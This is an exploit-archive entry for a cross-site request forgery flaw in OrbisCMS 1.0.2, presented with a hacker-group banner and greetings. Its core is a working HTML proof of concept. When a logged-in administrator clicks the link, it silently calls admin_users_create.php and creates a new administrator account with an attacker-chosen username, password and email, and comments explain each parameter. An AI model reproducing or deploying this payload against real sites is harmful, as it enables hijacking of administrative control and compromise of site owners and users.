OrbisCMS-1.0.2 Add Admin User CSRF

2010-09-23T00:00:00
ID 1337DAY-ID-14156
Type zdt
Reporter Sweet
Modified 2010-09-23T00:00:00

Description

Exploit for php platform in category web applications

                                        
                                            ==================================
OrbisCMS-1.0.2 CSRF Add Admin User  
==================================

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1                    ######################################            1
0                       Sweet the Algerian Haxxor                      0
1                    ######################################            0
0                                                                      1
1  [+]Exploit Title: OrbisCMS-1.0.2 CSRF Add Admin User                0
0  [+]Date: 021/09/2010                                                1
1  [+]Author: Sweet                                                    0
0  [+]Contact : [email protected]                                    0
1  [+]Software Link: www.novo-ws.com/orbis-cms                         0
0  [+]Download: www.novo-ws.com/orbis-cms/download.shtml               1
1  [+]Version: 1.0.2                                                   0
0  [+]Tested on: Ubuntu Linux 10.04                                    1
1  [+]Risk : Hight                                                     0
0  [+]Description :                                                    0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

PoC:
===

<html>
<body>
<p> OrbisCMS-1.0.2 Add Admin User CSRF</p>
<a
onclick = "document.location='http://www.target.com/path/admin/admin_users_create.php?nusern=sweet&nuserp=charifabdeslem&nusert=2&[email protected]&Submit=Create user';"href="#" >Clique Here </a>
<!-- nusern == Username
     nuserp == Password
     nusert == 2 for Admin user
     nusere == Email -->   
</body>
</html>

(thx to Milw0rm.com , JF - Hamst0r - Keystroke) R.I.P  , inj3ct0r.com , exploit-db.com, packetstormsecurity.org, http://ha.ckers.org


et 1,2,3 viva L'Algerie :))



#  0day.today [2018-04-13]  #